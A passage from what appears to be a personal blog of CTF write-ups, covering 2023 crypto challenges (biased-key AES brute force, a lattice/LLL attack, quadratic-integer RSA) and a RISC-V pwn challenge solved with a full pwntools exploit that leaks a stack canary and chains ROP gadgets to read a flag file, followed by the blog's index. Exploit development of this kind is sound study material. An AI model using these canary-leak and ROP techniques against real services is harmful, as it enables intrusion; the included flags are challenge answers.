Here's your lucky flag: 83080a6358c87c3182893bc174ecc7f53a6cf2c92a4704f5f2392c9868d555588cd7776d29b9493a6b2a2f3a122d43e312f2de2196219200
Here's your lucky flag: e13d21b2c4f224d8dfc17064e6d4fb0db339aea3ab6b65569c50d130808436dd37440c7061d8bb11cea2ab6f0c1c11701be335d42ac394e9
Here's your lucky flag: e6828db5d74e2947812ed1c3a39b39db47c887c728ff50fb384662301a129e6437ca89b37e8df45765a1c6c112beda3bf517108d2996a4f8
Here's your lucky flag: 609f1f2134e9f6f5b294c40cb37eb806ed441fc2d47f209fcc41cf462bfd46d1facf29ccbfcd66d98d959bb812b304f8d90f5fd9d16671be
Here's your lucky flag: 960bb72692a12a7b52cd9c4e70c99a70204112608e6dd53011be2e6d413a4af991fe30f2829a8a2fae7c2ece1bfd6539db0574bb3d396765
Here's your lucky flag: 587f8b03596c4ca80ab30fdb8efc6d8c6cff385870f10c398ef0b9c177f0b8b487d6a03bc097bd67aabd6b409240378e7abc8cb875fd7b36
Here's your lucky flag: 02c7e9edfc0721693c2f60ab2f313506ec3d196a9d0617b77371c7f3d34a2d53fd26096b0f58c82d33f40d16eb95daf3628fe9fb70fd21a7
Here's your lucky flag: a223335d57dfe47cffdc8b22dbb99919a49b7fdae6f213f21f6f6454c068dbfb6babb82854e054a27ccee256a40ebf487cb2af474af7411f
Here's your lucky flag: 1edc130b23a9f0d9d042cebc16ec4055e7d25e169e5c0171b5098ec79c4a43c15b91ca6b3fc47e40e6f2cc9d271d3f21a03a9628e50ce34f
"""

enc_flags = [i.split(": ")[-1] for i in res.split("\n")][1:-1]
enc_flags = [bytes.fromhex(i) for i in enc_flags]
print(enc_flags)

counter = 0
while True:
    key = bytes([secrets.choice(valid_output) for _ in range(6)])
    cipher = AES.new(pad(key, 16), AES.MODE_CTR, nonce=b'\xc1\xc7\xcc\xd1D\xfbI\x10')
    for msg in enc_flags:
        dec = cipher.decrypt(msg)
        if b"grey" in dec:
            print(key)
            print(msg, dec)

    counter+=1
    if counter%10000 == 0:
        print(counter)

#b'\x03\xf0\xf0PP\x03'
#b'UX\xe8\x8f\xaa\xdb\xe6\x97\xd5\x0f\t\xcc\xd9\x8c\x10C\xaf\x0b\xf8\xa9\xe2\x0f]\xe6\r\xcd]\xff\x0by\xeb\xe9\xc9O\xf4<\x90\xf2J\xe2\xbf^\xa0`\xed=\n\xd9k3\t\xe2\xe0n\x1a '
#b'grey{G3T_Rand0m_Byte-is_Still_Bi@s_Oof_7nwh8eQfV5e8eZwC}'

Encrypted

Let's just do something simple

- mechfrog88

solves: 22/454

from Crypto.Util.number import bytes_to_long
from secrets import randbits

FLAG = b'fake_flag'

p = randbits(1024)
q = randbits(1024)

def encrypt(msg, key):
    m = bytes_to_long(msg)
    return p * m + q * m**2 + (m + p + q) * key

n = len(FLAG)
s = randbits(1024)

print(f'n = {n}')
print(f'p = {p}')
print(f'q = {q}')
print(f'c1 = {encrypt(FLAG[:n//2], s)}')
print(f'c2 = {encrypt(FLAG[n//2:], s)}')

For this challenge, the encryption is as follow with $p$, $q$, $c_1$, $c_2$ given.

\[\begin{align} c_1 &= p \times m_1 + q \times m_1^{2} + (m_1+p+q) \times k \\ c_2 &= p \times m_2 + q \times m_2^{2} + (m_2+p+q) \times k \\ \end{align}\]

I start by manipulating the equations around too see how can I simplify it. I know that we’re trying to find a small root of the equation (m is significantly smaller than all other parameter) but I’m not sure what I can do. When I try to take mod q on the equation, I found the following relationship. (I’ll focus on one copy

\[\begin{align} c \equiv p \times m + (m+p) \times k &\mod{q}\\ c - p \times m \equiv (m+p) \times k &\mod{q}\\ (c - p \times m) \times (m+p)^{-1} \equiv k &\mod{q}\\ \end{align}\]

By combining the two equations together.

\[\begin{align} (c_1 - p \times m_1) \times (m_1+p)^{-1} &\equiv k \equiv (c_2 - p \times m_2) \times (m_2+p)^{-1} &\mod{q}\\ (c_1 - p \times m_1) \times (m_1+p)^{-1} &\equiv (c_2 - p \times m_2) \times (m_2+p)^{-1} &\mod{q}\\ (c_1 - p \times m_1) \times (m_2+p) &\equiv (c_2 - p \times m_2) \times (m_1+p) &\mod{q}\\ \end{align}\] \[\begin{align} (c_1 - p \times m_1) \times (m_2+p) - (c_2 - p \times m_2) \times (m_1+p) &\equiv 0 \mod{q}\\ p\times (c_1-c_2) + (c_1 m_2 - c_2 m_1) - p^{2} m_1 + p^{2} m_2 &\equiv 0 \mod{q}\\ m_1 (c_2+p^{2}) - m_2 (c_1+p^{2}) - p (c_1 - c_2) &\equiv 0 \mod{q}\\ \end{align}\]

After all the manipulation, we can get $m_1 (c_2+p^{2}) - m_2 (c_1+p^{2}) - p (c_1 - c_2) - Kq = 0$ , where $K \in \mathbb{Z}$

We can using this relationship to form the following lattice. $\begin{align} m_1 (c_2+p^{2}) - m_2 (c_1+p^{2}) - p (c_1 - c_2) - Kq &= 0\\ m_1 &= m_1 \\ m_2 &= m_2 \\ 1 &= 1\\ \end{align}$

\[\begin{align} m_1 \begin{bmatrix} c_2+p^{2} \\ 1 \\ 0 \\ 0 \end{bmatrix} -m_2 \begin{bmatrix} c_1+p^{2} \\ 0 \\ -1 \\ 0 \\ \end{bmatrix} -\begin{bmatrix} p(c_1 - c_2) \\ 0 \\ 0 \\ -1 \end{bmatrix} - K \begin{bmatrix} q \\ 0 \\ 0 \\ 0 \end{bmatrix} =\begin{bmatrix} 0 \\ m_1 \\ m_2 \\ 1 \end {bmatrix} \end{align}\]

To make the resulting vector balanced, we apply a weight matrixs so that LLL can better find the target vector we want. See the solve script for more detail.

from Crypto.Util.number import long_to_bytes, bytes_to_long
#from pwn import *

n = 60
p = 154086578594169457435595675666643895734811841080572558765373507236578028216591747533849923751469191596377661004029046877904042460778919103625210259448925051403568654035172094553059686620938995150323671690612067502149750334217640430881837803398594614204799922967620005040202036583050736150941842152536365544084
q = 125017463628708786112045898783989519686518641018787292892390877841668306746146702301981172263729102252453507006240973911324033106244068376643435622158128309826549542204034257871545558185841458407254799884829820319949756220781717646450760642511971882897039183232753628829418868493229485015468373205449789812260
c1 = 31118850289098152832161049930974564440792673516199584784484864528279481500612948601526706062621276262711210497739562987491633664814289725255046485262798604510626941827187912034287402128550018798165331343869198539137692903451118993538977788768945912026980846832254010558073806464461172522295653614635829516912620303901074895536704497550933805653512993413784431814034970399353908315083734783641688845887335175756415452320057666293794222522192970247045775053062573130002154959221285571979645935259561842756575513382500001710093979669436220490166791279222321068474420336287079321260681992725702004322840264333436628467610
c2 = 31118850289098152832161049930974564440792673516199584784484864528279481500612948601526706062621276262711210497739562987491633664814289725255046485262798604510626941817672660832127847041917018566902241465270388458210289299587958256824375312920716794521835108724034002277333245660951027397544591256117371462945925063227877052543505162260331377627961855698406102909764518955398788366432268123471930922870790059289526241832032413046933338032005163677585629816264668273416126506175004091486421225900247767247311587061422436593600806854703842740334379936590431991884721985057366825456467986462930236986239275935656810387114

# LLL (4*4 with weights)
weights = [1, 1/2^240, 1/2^240, 1]
Q = diagonal_matrix(weights)
L = Matrix([
    [c2+p^2, 1, 0, 0],
    [c1+p^2, 0, -1, 0],
    [p*(c1-c2), 0, 0, -1],
    [q, 0, 0, 0]])
L = L*Q
Sol = L.LLL()/Q
print(Sol)

for col in Sol:
    if col[0] == 0 and col[3] == 1:
        print(long_to_bytes(int(col[1]))+long_to_bytes(int(col[2])))

#grey{shortest_crypto_challenge_in_this_ctf_srfrGRUEShP8FKwn}

QRSA

Questionable RSA

 - mechfrog88

solves: 17/454

from Crypto.Util.number import bytes_to_long
from secret import qa, qb, pa, pb

FLAG = b'fake_flag'

class Q:
    d = 41
    def __init__(self, a, b):
        self.a = a
        self.b = b

    def __add__(self, other):
        return Q(self.a + other.a, self.b + other.b)

    def __sub__(self, other):
        return Q(self.a - other.a, self.b - other.b)

    def __mul__(self, other):
        a = self.a * other.a + Q.d * self.b * other.b
        b = self.b * other.a + self.a * other.b
        return Q(a, b)

    def __mod__(self, other):
        # Implementation Hidden
        # ...
        return self

    def __str__(self) -> str:
        return f'({self.a}, {self.b})'

def power(a, b, m):
    res = Q(1, 0)
    while (b > 0):
        if (b & 1): res = (res * a) % m
        a = (a * a) % m
        b //= 2
    return res

p, q = Q(pa, pb), Q(qa, qb)
N = p * q
m = Q(bytes_to_long(FLAG[:len(FLAG)//2]), bytes_to_long(FLAG[len(FLAG)//2:]))
e = 0x10001
c = power(m, e, N)

print(f"N_a = {N.a}")
print(f"N_b = {N.b}")
print(f"C_a = {c.a}")
print(f"C_b = {c.b}")
print(f"e = {e}")
print(f"D = {Q.d}")

This is a rsa challenge implemented with quadratic integer. With a quick google search, we can find this paper (RSA in extensions of the ring of integers). In section 7.1, it mentioned that if the $norm(N)$ can be factorized, it’s possible to retrive $\phi(N)$ since $\phi(N)$ is calculated thorugh the norm of p and q, while norm is preserved through multiplication.

In my solution, I first tried constructing phi by using the normal phi algorithm ($\prod (p^k-p^{k-1})$), where p is the prime factors and k is the number of those factors. However, the output phi doesn’t work (as in doesn’t recover the flag). When randomly poking around during the competition, I found out that $\prod (p^{k+1}-p^{k-1})$ somehows recovers that flag. (norm is obmitted here, p is representing the irriducible factors)

I still don’t fully understand why this work. According to the author, the $\phi(N)$’s component will different based on how each prime factors are like. In case where the factor $p \in \mathbb{Z}$, $norm(p)$ will be $(p^2-1)\times(p^{2(k-1)})$ instead of the typical $p^{k}-p^{k-1}$. Therefore, in the solve script, the author took the lcm of the two cases to construct the phi. In my case, I assume that because my factor still covers a wide enough cases, so the phi works out the decrypt the flag.

from Crypto.Util.number import long_to_bytes, bytes_to_long
from sage.all import *
from factordb.factordb import FactorDB
import random

class Q:
    d = 41
    def __init__(self, a, b):
        self.a = a
        self.b = b

    def __add__(self, other):
        return Q(self.a + other.a, self.b + other.b)

    def __sub__(self, other):
        return Q(self.a - other.a, self.b - other.b)

    def __mul__(self, other):
        a = self.a * other.a + Q.d * self.b * other.b
        b = self.b * other.a + self.a * other.b
        return Q(a, b)

    def __truediv__(self, other):
        top = self * Q(other.a, -1*other.b)
        bot = other * Q(other.a, -1*other.b)
        ra = top.a%bot.a
        rb = top.b%bot.a
        resa = top.a//bot.a + 1
        resb = top.b//bot.a + 1
        return Q(resa, resb)

# taken from https://www.diva-portal.org/smash/get/diva2:1170568/FULLTEXT01.pdf
    def __mod__(self, other):
        divs = self/other
        x = int(divs.a)
        y = int(divs.b)
        for (difx, dify) in ([0, 0], [-1, 0], [0, -1], [-1, -1]):
            res = self - (other * Q(x+difx, y+dify))
            if res.a>0 and res.b>0:
#                print(difx, dify)
                return res
#        assert(res.norm() < other.norm())
        print("mod not sat")
        return res

    def __str__(self) -> str:
        return f'({self.a}, {self.b})'

    def norm(self):
        return abs(self.a * self.a - Q.d * self.b * self.b)

def Qpower(a, b, m):
    res = Q(1, 0)
    while (b > 0):
        if (b & 1): res = (res * a) % m
        a = (a * a) % m
        b //= 2
    return res

N_a = 2613240571441392195964088630982261349682821645613497396226742971850092862049682714123355029612448609254303796690909646594946069650719320421550307082460305103785198772732273571020529003974320397237096691522804712706512030715753640155668659684093067319185265153545236392472134496428382266600090383797614653942221936332929175557303391656241351117808833959918253404012245633586322491783496235954011173498460231177697737092488315432823871012224368640000000
N_b = 406631291381063062708368640624433195177629887128324992156536215422427085251271158548246052765619573442134462500652616281986273622217404519958464200902599497611719198311591180368508835389781999428982410097278062504076636059232055783729252448502542597951710294264137195997893054083787667027206495381119048279226753306334118272352371363733528942151156768581101905518532465160584386180402709606771189313858666352673319676040954150310530906188677120000000
C_a = 2548711194583905242838482900078294859199882484375229964715550469790767416706725411953362845724983002558821710679258499982960453598798074631796750663774845415692650589352513765870894878170769435087683220330986573614974529690187792931316475879984809267941606365493481277785184076320720487644565808909403821593150101568803446075808715002632463329841749179295823686361086890490703942659897558782785569910876849941888829825694107185482012864247559426111336
C_b = 400941158148299866665115436146084555297152646914223433988293961893848206718639579342053294961462797881591789534709492717097892667288044693824228320005182068933966525404665323301134912609777110824069569544060608441451336249895977866445507357131208911196230972379132737483251711155975474018188763433151191428844929401881703566513896999328525340678378000286116960582957867857836600614501387296599091266404311307529322130111164410987643652390537358307965
N = Q(N_a, N_b)
C = Q(C_a, C_b)
e = 65537

#verify that the mod works
#print((Q(30, 23)+C*N)%N)

f = FactorDB(N.norm())
f.connect()
fs = f.get_factor_from_api()
#print(fs)

phi = 1
for (num, power) in fs:
    factor = int(num)
    phi *= factor**(power+1) - factor**(power-1)
assert(test == N.norm())
print(phi)

d = pow(e, -1, phi)
res = Qpower(C, int(d), N)
flag = long_to_bytes(res.a) + long_to_bytes(res.b)
print(flag)
# grey{x3VkGD3K2SK5s4JW_Lmao_why_do_RSA_in_quadratic_integer}

ROPV

Echo service again??????????

 - jiefeng

nc 139.177.185.41 12335 
solves: 38/454

We are given a binary file, upon basic inspections, we can observe that this is a riscv executable. File and checksec result is as follow.

$ file ropv
ropv: ELF 64-bit LSB executable, UCB RISC-V, version 1 (SYSV), statically linked, BuildID[sha1]=876741095749886c314618e6a23bd256072a721f, for GNU/Linux 4.15.0, not stripped
$ checksec --file ropv
[*] 'greyhat2023/ropv/ropv'
    Arch:     em_riscv-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

Since this is a statically linked binary, it will naturally contained a lot of function, and therefore, a lot of rop gadgets. As the name suggested, this is a rop challenge in riscv. The bug is really obvious, the program read 0x400 bytes from the user into a 8 byte buffer on stack, outputs what’s entered, then read the input again. Since the program is protected by stack canary, it is natural to use the first read to leak the canary, and the second to perform the rop attack.

In riscv, when a function is called, the original instruction pointer (ip) is put into the ra register. On return from a function, the ret instruction simply jump to where the ra register points to. meanwhile, register used by the function are stored on the stack by the callee, and restored before reture. Therefore, we can utilize the function epilog to set various registers before calling the functions we want. The actual rop chain is constructed by my teammate (@DeltaForce#8909 on discord) and I merely debug the exploit so that it actually works.

Some notable things I learn though this challenge is how to debug riscv binary on x86 system (or any other enumlatable architecture on any system). For this challenge, I used qemu-riscv64 to run the binary with -g 1234 argument. This opens a debugger port for the emulated binary that can be attached using gdb-multiarch. On a separate terminal, I launch gdb-multiarch ropv and entered target extend-remote :1234 to attach to the process. This allowed me to trace the execution and aid the exploit debugging process.

After the competition ended, someone linked this writeup, which indicated a universal rop gadget in riscv, which sets all a0~a7, needed for controlling syscall arguments. In this specific challenge binary, it is located in at 0x4281c. This would have been helpful during the competition, but it is still helpful information learned after the competition ended. Knowing this would have made the exploit development way easier.

from pwn import *
import os

context.terminal = 'konsole'
context.arch = 'riscv'

# os.environ['LD_LIBRARY_PATH'] = '.'

binary = './ropv'

exe = ELF(binary)
# libc = ELF('./libc.so.6')
# system = libc.symbols[b'system']
# binsh = libc.search(b'/bin/sh').__next__()
puts = exe.symbols[b'puts']

p = remote('139.177.185.41', 12335)
#p = process(['/usr/bin/qemu-riscv64','-g','1234',binary])

p.sendlineafter(b'Echo server: ', b'%9$lx')
canary = int(p.recvline().strip().decode('ascii'), 16)
print(hex(canary))

# random address in .data
flag_buf = 0x6f800

# sets s0 to s2
# sets s0, s1, s2, s3, 0x30 stack space
# this is the end of the plural eval function
set_s0_3 = 0x10c12

# sets s0 to s6 and returns
# this is the end of the is_strusted_path_normalize function
set_s0_6 = 0x3cbb8

# a0 = s2
# a1 = s3
# a2 = s4
# a3 = s0
# then does jalr s1
# c.mv a3, s0 ; c.mv a2, s4 ; c.mv a1, s3 ; c.mv a0, s2 ; c.jalr s1
set_a0_3 = 0x260bc

# this is midway inside the open function
# for this, we must load flags into s0 (the desired flags are probably 0)
# and filename to open into a1
# a3 should probably be 0?
open_at_code = 0x26592

# sets a1 = sp + 0x18, then jalr s1
# used to set a1 to filename on stack
# c.addi4spn a1, sp, 0x18 ; c.mv a0, s4 ; c.jalr s1
addi4spn_a1 = 0x25b2e

# offsets the stack by 30 so flag.txt does not overlap with canary when we go into open_at_code
# c.ldsp ra, 0x28(sp) ; c.addi16sp sp, 0x30 ; c.jr ra
offset_stack = 0x24f5e

open_at_canary = b'\xa2\x70\x45\x61\x82\x80\xa1\xc7'

# this is midway inside the read function
# filedescriptor in a0
# buf in a1
# num bytes in a2
read = 0x26626

payload = 8 * b'a' + p64(canary) + p64(0) + p64(set_s0_3)
    # return to set_s0_3
    # 0x30 stack space
    # s3 = 0
    # s2 = 0
    # s1 = set_s0_3
    # s0 = 0
    # ra = set_a0_3
payload += p64(0) + p64(0) + p64(0) + p64(set_s0_3) + p64(0) + p64(set_a0_3)
    # return to set_a0_3
    # no stack space used
    # a0 = s2 = 0
    # a1 = s3 = 0
    # a2 = s4 = unknown
    # a3 = s0 = 0

    # NOTE: a shorter gadget that doesn't set s2, s3, or s0 could bs used here
    # jalr to set_s0_3
    # 0x30 stack space
    # s3 = 0
    # s2 = 0
    # s1 = set_s0_6
    # s0 = 0
    # ra = addi4spn_a1
payload += p64(0) + p64(0) + p64(0) + p64(set_s0_6) + p64(0) + p64(addi4spn_a1)

    # return to addi4spn_a1
    # no stack space used
    # a1 = sp + 0x18
    # a0 = s4 = unknown

    # jalr to set_s0_6
    # 0x40 stack space
    # s6 = 0
    # s5 = 0
    # s4 = 0
    # s3 = flag.txt
    # s2 = 0
    # s1 = 0x6f000
    # s1 is used later to load stack canary in open, so set it here
    # s0 = 0
    # ra = open_at_code
payload += 0x18 * b'\0' + b'flag.txt' + p64(0) + p64(0x6f000) + p64(0) + p64(open_at_code)
# payload += 0x18 * b'\0' + b'flag.txt' + p64(0) + p64(open_at_code)

    # return to open_at_code
    # 0x70 stack space
payload += p64(0) + p64(0) + p64(0) + p64(canary) + p64(0)
    # these 2 are s1 and s0 respectively
payload += p64(0) + p64(0)
payload += p64(set_s0_6) + 0x30 * b'\0'

    # return to set_s0_6
		# s2 is fd that the open returns, shouldn't be hardcoded
    # for this exploit, we simply enumerate through fd-s until it hits
    # 0x40 stack space
    # s6 = 0
    # s5 = 0
    # s4 = 100
    # s3 = flag_buf
    # s2 = 6 
    # s1 = read
    # s0 = 0
    # ra = set_a0_3
payload += p64(0) + p64(0) + p64(100) + p64(flag_buf) + p64(6) + p64(read) + p64(0) + p64(set_a0_3)

    # jalr to read
    # 0x20 stack_space
    # s0 = 0
    # s1 = puts
    # s2 = flag_buf
payload += p64(flag_buf) + p64(puts) + p64(0) + p64(set_a0_3)

    # return to set_a0_3
    # a0 = s2 = flag_buf
    # a1 = s3 = unknown
    # a2 = s4 = unknown
    # a3 = s0 = 0

    # jalr to puts, which will print the flag

p.sendlineafter(b'Echo server: ', payload)

p.interactive()
#grey{riscv_risc5_ropv_rop5_b349340j935gj09}

Bronson113’s Blog

b01lersCTF 2024 Author Writeup

Overview

Reverse

js-safe

catch me if you can

Crypto

choose the param

count the counter

propagating counter block chaining

ACSC 2024 writeup

Hardware

An4lyz3-1t

Vault

Pwr-tr4ce

RFID_Demod

picopico

Crypto

RSA Stream2

strongest OAEP

Web

Login!

Login

Too Faulty

Pwn

rot13

Rev

*Compyled

Sneaky VEH

cursedCTF 2024 - cursed writeup

Some (cursed) statistics

My challenges

forensic - fetusstego

osint - Geogusser-Extreme 2

osint - Geogusser-Extreme

crypto - crypto curses

forensic - babystego

misc - check-sanity

rev - git madness

Conclusion

Shader Introduction - Fractal Shader (Part 1 /???)

Introduction

Shadertoy

What is shader

Coordinate & Color System

Normalize Coordinate

Math (Yes! MATH!)

Circles

Creating Edges

Conclusion

MapleCTF 2023 - lost-in-space

Challenge Description

Inspection

DFS

Solve

Probably intended solution - random walk

Appendix A - exp.py

HITCON CTF 2023 - LessEQualmore / SUBformore

Challenge Description

Challenge detail

Recon

Solution - Reversing

Disassembling

Lifting the instructions

Matrix multiplication

Unintended solution

Solution - Pwn

VM structure

Leaking Addresses and RCE

Solve script

How the challenge is built

ELVM

IR Generation

Potential Improvements

Linear relationship

Exploring potential for the VM

Conclusion

HITCON CTF 2023 - Careless Padding

Challenge Description

Challenge detail